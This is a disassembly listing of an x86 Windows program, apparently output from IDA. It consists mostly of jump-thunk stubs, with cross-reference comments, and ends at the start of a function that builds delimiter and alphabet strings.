		jmp	sub_4227E0
sub_401EF1	endp

; ---------------------------------------------------------------------------
		jmp	loc_41BD50
; ---------------------------------------------------------------------------
		jmp	loc_433BA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F00	proc near		; CODE XREF: ___:00416B0Bp
					; ___:0043B2A4j ...
		jmp	sub_417C20
sub_401F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F05	proc near		; CODE XREF: sub_40A8F0+13p
		jmp	loc_40AA30
sub_401F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F0A	proc near		; CODE XREF: sub_41B160:loc_41B1ACp
					; sub_41BA50+54p ...
		jmp	sub_4199A0
sub_401F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F0F	proc near		; CODE XREF: ___:00414395p
		jmp	sub_415570
sub_401F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F14	proc near		; CODE XREF: sub_4157B0+34p
					; sub_4162C0+67p
		jmp	sub_416460
sub_401F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F19	proc near		; CODE XREF: sub_4153D0+3p
					; ___:00415B4Fp ...
		jmp	sub_415E00
sub_401F19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F1E	proc near
		jmp	sub_412CE0
sub_401F1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F23	proc near		; CODE XREF: sub_4131F0+4Dp
		jmp	sub_415450
sub_401F23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F28	proc near		; CODE XREF: sub_407140+5Cp
					; sub_418F60+3p
		jmp	sub_407360
sub_401F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F2D	proc near		; CODE XREF: ___:00419203p
		jmp	sub_419270
sub_401F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F32	proc near		; CODE XREF: ___:0040BFFAp
		jmp	sub_40C330
sub_401F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F37	proc near		; CODE XREF: ___:0042C44Fp
		jmp	sub_42C0A0
sub_401F37	endp

; ---------------------------------------------------------------------------


loc_401F3C:				; DATA XREF: ___:off_43F08Co
		jmp	loc_435B90
; ---------------------------------------------------------------------------


loc_401F41:				; DATA XREF: ___:00424194o
		jmp	loc_423D10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F46	proc near		; CODE XREF: ___:00416B6Bp
					; ___:0043B250j ...
		jmp	sub_417B40
sub_401F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F4B	proc near		; CODE XREF: sub_413C40+99p
		jmp	sub_413E10
sub_401F4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F50	proc near		; CODE XREF: sub_40B470+3Dp
					; ___:0040BC0Dp ...
		jmp	sub_40B7E0
sub_401F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F55	proc near		; CODE XREF: ___:loc_423DA7p
		jmp	sub_423820
sub_401F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5A	proc near		; CODE XREF: sub_404CC0+A38p
		jmp	sub_4068E0
sub_401F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5F	proc near		; DATA XREF: ___:off_43F1A0o
		jmp	sub_42C640
sub_401F5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F64	proc near		; CODE XREF: sub_413A80+72p
		jmp	sub_413740
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F69	proc near		; CODE XREF: sub_418430+5Fp
					; sub_418A40+1Ap ...
		jmp	sub_418AB0
sub_401F69	endp

; ---------------------------------------------------------------------------
		jmp	loc_430290

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F73	proc near		; CODE XREF: sub_42F6F0+B5p
		jmp	sub_42E5B0
sub_401F73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F78	proc near		; CODE XREF: sub_40B600+4Bp
					; sub_40B600:loc_40B68Bp ...
		jmp	sub_40BF20
sub_401F78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F7D	proc near
		jmp	sub_41E500
sub_401F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F82	proc near		; CODE XREF: sub_40A510+142p
		jmp	sub_40A8F0
sub_401F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F87	proc near		; CODE XREF: sub_404690+35Dp
					; sub_404690+39Ep
		jmp	sub_404B60
sub_401F87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F8C	proc near		; CODE XREF: sub_415ED0+9p
					; sub_415F70+18p
		jmp	sub_4167D0
sub_401F8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F91	proc near		; CODE XREF: sub_432E20+1Bp
		jmp	sub_432ED0
sub_401F91	endp

; ---------------------------------------------------------------------------
		jmp	loc_42C2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F9B	proc near		; CODE XREF: sub_427740+1Dp
					; sub_427C90+1Dp ...
		jmp	sub_4277B0
sub_401F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA0	proc near		; CODE XREF: sub_4290B0+1Dp
					; sub_429450+1Fp ...
		jmp	sub_429120
sub_401FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA5	proc near		; CODE XREF: ___:0042B063p
		jmp	sub_42B090
sub_401FA5	endp

; ---------------------------------------------------------------------------
		jmp	loc_406C20
; ---------------------------------------------------------------------------
		jmp	loc_40D540

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB4	proc near		; CODE XREF: sub_4096E0+112p
					; sub_4096E0+153p
		jmp	sub_409A20
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB9	proc near		; CODE XREF: sub_422700+5p
		jmp	sub_422870
sub_401FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FBE	proc near		; CODE XREF: sub_407390+5p
		jmp	sub_407540
sub_401FBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC3	proc near		; CODE XREF: sub_413740+6Fp
					; sub_413740+DBp ...
		jmp	sub_4153D0
sub_401FC3	endp

; ---------------------------------------------------------------------------
		jmp	loc_42CB20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FCD	proc near		; CODE XREF: sub_4152E0+6Ap
					; sub_415CE0+32p
		jmp	sub_415C20
sub_401FCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD2	proc near
		jmp	sub_40F100
sub_401FD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD7	proc near		; CODE XREF: sub_412BF0+3p
		jmp	sub_412C20
sub_401FD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FDC	proc near		; CODE XREF: sub_404690+48p
					; sub_404690+5Dp ...
		jmp	sub_409E00
sub_401FDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FE1	proc near		; DATA XREF: ___:off_43F090o
		jmp	sub_419A50
sub_401FE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FE6	proc near		; CODE XREF: sub_41A1E0+3p
					; sub_41B140+9j ...
		jmp	sub_41A210
sub_401FE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FEB	proc near		; CODE XREF: sub_40BD90+34p
					; sub_40C200+67p
		jmp	sub_40C120
sub_401FEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_433980
; ---------------------------------------------------------------------------


loc_401FF5:				; DATA XREF: ___:off_43F094o
		jmp	loc_436570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FFA	proc near
		jmp	sub_40F180
sub_401FFA	endp

; ---------------------------------------------------------------------------
		jmp	loc_4375F0
; ---------------------------------------------------------------------------


loc_402004:				; DATA XREF: ___:0043F03Co
		jmp	loc_41EEB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402009	proc near		; CODE XREF: sub_41F960+5Ap
		jmp	sub_420040
sub_402009	endp

; ---------------------------------------------------------------------------
		jmp	loc_431670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402013	proc near		; CODE XREF: ___:00416B2Bp
					; ___:0043B288j ...
		jmp	sub_417C00
sub_402013	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402018	proc near		; CODE XREF: ___:00416E7Fp
		jmp	sub_4131F0
sub_402018	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40201D	proc near		; CODE XREF: sub_421B80+5p
		jmp	sub_422080
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402022	proc near		; CODE XREF: ___:00421754p
		jmp	sub_41C0A0
sub_402022	endp

; ---------------------------------------------------------------------------
off_402027	dd offset byte_4BF4E9	; DATA XREF: ___:off_43F008o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40202C	proc near		; CODE XREF: sub_404690+2CEp
					; sub_404CC0+46Fp ...
		jmp	sub_40A750
sub_40202C	endp

; ---------------------------------------------------------------------------
		jmp	loc_434410
; ---------------------------------------------------------------------------
		jmp	sub_41B4D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40203B	proc near		; CODE XREF: sub_422470+Ap
		jmp	sub_422750
sub_40203B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402040	proc near		; CODE XREF: sub_404CC0+7E7p
		jmp	sub_41BA50
sub_402040	endp

; ---------------------------------------------------------------------------


loc_402045:				; DATA XREF: ___:off_43F014o
		jmp	loc_40AEC0
; ---------------------------------------------------------------------------


loc_40204A:				; DATA XREF: ___:off_43F088o
		jmp	loc_42D150

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204F	proc near		; CODE XREF: ___:0040AEC3p
					; ___:0040FFAEp ...
		jmp	sub_40AEF0
sub_40204F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402054	proc near		; CODE XREF: sub_424920+109p
					; sub_424920+178p ...
		jmp	sub_424800
sub_402054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402059	proc near		; CODE XREF: sub_4099C0+7p
		jmp	sub_409AB0
sub_402059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40205E	proc near		; CODE XREF: sub_416760+Ap
		jmp	sub_416970
sub_40205E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402063	proc near
		jmp	sub_40CBF0
sub_402063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402068	proc near		; CODE XREF: ___:004301DBp
					; sub_4310C0+EAp
		jmp	sub_434320
sub_402068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40206D	proc near		; CODE XREF: sub_421A60+5p
					; sub_421B50+6p ...
		jmp	sub_421FF0
sub_40206D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402072	proc near		; CODE XREF: sub_410030+8ADp
					; sub_410030+95Ep ...
		jmp	sub_411A60
sub_402072	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402077	proc near		; CODE XREF: sub_40C120+7p
		jmp	sub_40C310
sub_402077	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40207C	proc near		; CODE XREF: sub_418A40+34p
					; sub_418F90+67p
		jmp	sub_418DA0
sub_40207C	endp

; ---------------------------------------------------------------------------
		jmp	loc_409BF0
; ---------------------------------------------------------------------------


loc_402086:				; DATA XREF: ___:off_43F13Co
		jmp	loc_4292B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40208B	proc near		; CODE XREF: sub_417120+2Bp
					; sub_417120+3Bp ...
		jmp	sub_403F30
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402090	proc near		; CODE XREF: sub_4098B0+14p
		jmp	sub_409910
sub_402090	endp

; ---------------------------------------------------------------------------
		jmp	loc_4332C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40209A	proc near		; CODE XREF: sub_428DC0:loc_428FCBp
		jmp	sub_428CE0
sub_40209A	endp

; ---------------------------------------------------------------------------
		jmp	sub_427940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_418430+4Dp
		jmp	sub_418B70
sub_4020A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A9	proc near		; CODE XREF: sub_415230+5p
					; sub_4153F0+6p ...
		jmp	sub_415DE0
sub_4020A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AE	proc near		; CODE XREF: sub_427940+3p
		jmp	sub_427970
sub_4020AE	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B1F0
; ---------------------------------------------------------------------------
		jmp	loc_421720

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020BD	proc near		; CODE XREF: ___:00416E4Fp
		jmp	sub_407080
sub_4020BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C2	proc near		; CODE XREF: sub_413740+83p
					; sub_4145A0+91p ...
		jmp	sub_4153F0
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C7	proc near		; DATA XREF: ___:0043F054o
		jmp	sub_41F030
sub_4020C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020CC	proc near		; CODE XREF: sub_40AAD0+144p
		jmp	sub_40ADE0
sub_4020CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D1	proc near		; CODE XREF: sub_431240+BAp
					; sub_433C70+36p
		jmp	sub_433CE0
sub_4020D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D6	proc near		; CODE XREF: sub_421EF0+23p
					; sub_422340+11p
		jmp	sub_4224E0
sub_4020D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020DB	proc near		; CODE XREF: sub_4221E0+4p
		jmp	sub_4225F0
sub_4020DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E0	proc near		; CODE XREF: sub_42BB00+3BBp
		jmp	sub_42B730
sub_4020E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E5	proc near		; CODE XREF: ___:0041A312p
		jmp	sub_41A3B0
sub_4020E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EA	proc near		; CODE XREF: sub_416860+Ap
		jmp	sub_4169C0
sub_4020EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EF	proc near		; DATA XREF: ___:off_43F18Co
		jmp	sub_42C5C0
sub_4020EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020F4	proc near		; CODE XREF: sub_415D70+4p
		jmp	sub_416590
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020F9	proc near		; CODE XREF: ___:004307A6p
					; ___:00430808p ...
		jmp	sub_434AD0
sub_4020F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020FE	proc near		; CODE XREF: sub_418E20+8p
		jmp	sub_4190C0
sub_4020FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402103	proc near		; CODE XREF: sub_418990+34p
					; sub_418E80+67p
		jmp	sub_418CA0
sub_402103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402108	proc near		; CODE XREF: sub_41A7D0+117p
		jmp	sub_41A960
sub_402108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40210D	proc near		; CODE XREF: sub_415BA0+35p
		jmp	sub_416670
sub_40210D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402112	proc near		; CODE XREF: sub_404CC0+459p
					; sub_406730+43p ...
		jmp	sub_409CA0
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402117	proc near		; CODE XREF: sub_40BE00+5p
					; sub_40BF40+6p ...
		jmp	sub_40C140
sub_402117	endp

; ---------------------------------------------------------------------------
		jmp	loc_4308A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402121	proc near		; CODE XREF: ___:00416F7Ap
		jmp	sub_4191B0
sub_402121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402126	proc near		; CODE XREF: ___:0042AD23p
		jmp	sub_42AD50
sub_402126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40212B	proc near		; CODE XREF: sub_410030+F3Dp
					; sub_410030+1392p ...
		jmp	sub_4148A0
sub_40212B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402130	proc near		; CODE XREF: sub_413A80+38p
					; sub_413E70+5Fp
		jmp	sub_4135E0
sub_402130	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402135	proc near		; CODE XREF: sub_40A210+14p
					; sub_40A240+7p ...
		jmp	sub_40A260
sub_402135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213A	proc near		; CODE XREF: sub_42B440+157p
		jmp	sub_42AFF0
sub_40213A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213F	proc near		; CODE XREF: sub_40ACC0+1Ap
					; sub_40AD10+1Ap
		jmp	sub_40AD80
sub_40213F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402144	proc near		; CODE XREF: sub_4156F0+3p
					; ___:00415F1Fp ...
		jmp	sub_416150
sub_402144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402149	proc near		; DATA XREF: ___:0043F02Co
		jmp	sub_410030
sub_402149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40214E	proc near		; CODE XREF: sub_4148A0+EDp
		jmp	sub_415920
sub_40214E	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402158	proc near		; CODE XREF: sub_40BF00+3p
		jmp	sub_40C180
sub_402158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40215D	proc near		; CODE XREF: sub_40BFA0+11p
					; ___:0040BFC7p ...
		jmp	sub_40C2C0
sub_40215D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402162	proc near		; CODE XREF: sub_41E760+2C5p
		jmp	sub_4208E0
sub_402162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402167	proc near		; CODE XREF: sub_41D930+64Fp
		jmp	sub_41C170
sub_402167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40216C	proc near		; CODE XREF: sub_418CC0+32p
		jmp	sub_418F90
sub_40216C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402171	proc near		; CODE XREF: sub_40ED00+ACp
					; ___:0040F42Dp
		jmp	sub_40EE40
sub_402171	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402176	proc near		; CODE XREF: sub_4138B0+93p
		jmp	sub_434D10
sub_402176	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40217B	proc near		; CODE XREF: sub_4152A0+1Fp
					; sub_415BA0+2Cp
		jmp	sub_415B00
sub_40217B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402180	proc near		; CODE XREF: ___:0042670Dp
		jmp	sub_4266D0
sub_402180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402185	proc near		; CODE XREF: sub_420630+17Dp
		jmp	sub_421AD0
sub_402185	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40218A	proc near		; CODE XREF: ___:0042D551p
		jmp	sub_42B380
sub_40218A	endp

; ---------------------------------------------------------------------------


loc_40218F:				; DATA XREF: ___:off_43F010o
		jmp	loc_409BF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402194	proc near		; CODE XREF: sub_40AAD0+6Ap
					; sub_40AAD0+103p
		jmp	sub_40AD10
sub_402194	endp

; ---------------------------------------------------------------------------
		jmp	loc_426280
; ---------------------------------------------------------------------------
		jmp	loc_427910
; ---------------------------------------------------------------------------
		jmp	loc_41AD00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021A8	proc near		; CODE XREF: sub_407270+14p
					; sub_4072B0+9p ...
		jmp	sub_407510
sub_4021A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_416DE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B2	proc near		; CODE XREF: sub_40B0E0+1Bp
		jmp	sub_433DC0
sub_4021B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B7	proc near		; CODE XREF: ___:00415B5Ap
		jmp	sub_4165E0
sub_4021B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021BC	proc near		; CODE XREF: sub_4309A0+ABp
					; sub_431980+1Bp ...
		jmp	sub_4319F0
sub_4021BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FD80

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021C6	proc near		; CODE XREF: ___:00408773p
					; ___:00408795p ...
		jmp	sub_4199C0
sub_4021C6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42DA00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D0	proc near		; CODE XREF: sub_40B600+55p
		jmp	sub_40A0B0
sub_4021D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D5	proc near		; DATA XREF: ___:off_43F14Co
		jmp	sub_429510
sub_4021D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DA	proc near		; CODE XREF: sub_421BF0+34p
					; sub_422510+67p
		jmp	sub_422230
sub_4021DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021DF	proc near		; CODE XREF: sub_407140+2Cp
					; sub_407140+68p ...
		jmp	sub_4072B0
sub_4021DF	endp

; ---------------------------------------------------------------------------
		jmp	loc_4346E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021E9	proc near		; CODE XREF: sub_41C710+1B3p
					; sub_41C710+332p ...
		jmp	sub_41D770
sub_4021E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021EE	proc near		; CODE XREF: sub_40BD50+11p
					; sub_40BFA0+1Fp
		jmp	sub_40C0D0
sub_4021EE	endp

; ---------------------------------------------------------------------------
		jmp	loc_4308E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F8	proc near		; CODE XREF: sub_4246D0+1Ap
					; sub_4247B0+1Bp ...
		jmp	sub_424500
sub_4021F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021FD	proc near		; CODE XREF: ___:00416ABBp
		jmp	sub_418A40
sub_4021FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402202	proc near
		jmp	sub_42CE60
sub_402202	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FF70
; ---------------------------------------------------------------------------
		jmp	loc_430100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402211	proc near		; CODE XREF: sub_434450+1Bp
		jmp	sub_4344C0
sub_402211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402216	proc near		; CODE XREF: sub_42F6F0+101p
		jmp	sub_42F040
sub_402216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40221B	proc near		; DATA XREF: ___:off_43F00Co
		jmp	sub_407210
sub_40221B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5C0
; ---------------------------------------------------------------------------
		jmp	locret_418940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222A	proc near		; CODE XREF: sub_403720+25p
					; sub_403720+35p ...
		jmp	sub_403CE0
sub_40222A	endp

; ---------------------------------------------------------------------------
		jmp	loc_4343F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402234	proc near		; CODE XREF: sub_418430+88p
					; sub_418430+98p
		jmp	sub_418B90
sub_402234	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402239	proc near		; CODE XREF: ___:00416BBBp
					; ___:0043B20Aj ...
		jmp	sub_417870
sub_402239	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40223E	proc near		; CODE XREF: sub_418BE0+5p
		jmp	sub_418E50
sub_40223E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402243	proc near		; CODE XREF: sub_414710+3p
		jmp	sub_414740
sub_402243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402248	proc near		; CODE XREF: ___:004305EBp
					; ___:00430F17p ...
		jmp	sub_431DC0
sub_402248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40224D	proc near		; DATA XREF: ___:off_43F11Co
		jmp	sub_4288F0
sub_40224D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402252	proc near		; CODE XREF: sub_430B30+102p
					; sub_432A20+5Dp ...
		jmp	sub_431B00
sub_402252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402257	proc near		; CODE XREF: sub_4135E0+5Cp
					; sub_4135E0+C0p ...
		jmp	sub_415540
sub_402257	endp

; ---------------------------------------------------------------------------
		jmp	loc_432700
; ---------------------------------------------------------------------------
		jmp	loc_430460

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402266	proc near		; CODE XREF: sub_41D930+203p
		jmp	sub_42E3C0
sub_402266	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40226B	proc near		; CODE XREF: sub_42F6F0+148p
					; sub_42F6F0+173p
		jmp	sub_42EF60
sub_40226B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402275	proc near		; CODE XREF: sub_4134A0+34p
					; sub_4148A0+40p
		jmp	sub_4159F0
sub_402275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40227A	proc near		; CODE XREF: sub_40CC90+1A4p
					; sub_40D040+ADp
		jmp	sub_40D040
sub_40227A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F510

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402284	proc near		; CODE XREF: sub_422B40+938p
		jmp	loc_424080
sub_402284	endp

; ---------------------------------------------------------------------------
		jmp	loc_419B90
; ---------------------------------------------------------------------------


loc_40228E:				; CODE XREF: ___:00439FE6j
		jmp	loc_40CFC0
; ---------------------------------------------------------------------------
		db 129Dh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403530	proc near		; CODE XREF: sub_4019C4j

var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_420		= byte ptr -420h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_403530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esi, 1
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_403589
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_40357A:				; CODE XREF: sub_403530+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_40357A


loc_403589:				; CODE XREF: sub_403530+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_40142E
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_401870
		push	offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
		lea	ecx, [esp+47Ch+var_468]
		mov	byte ptr [esp+47Ch+var_4], 2
		call	sub_401A9B
		push	offset byte_448F40
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401870
		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
		lea	edi, [esp+478h+var_408]


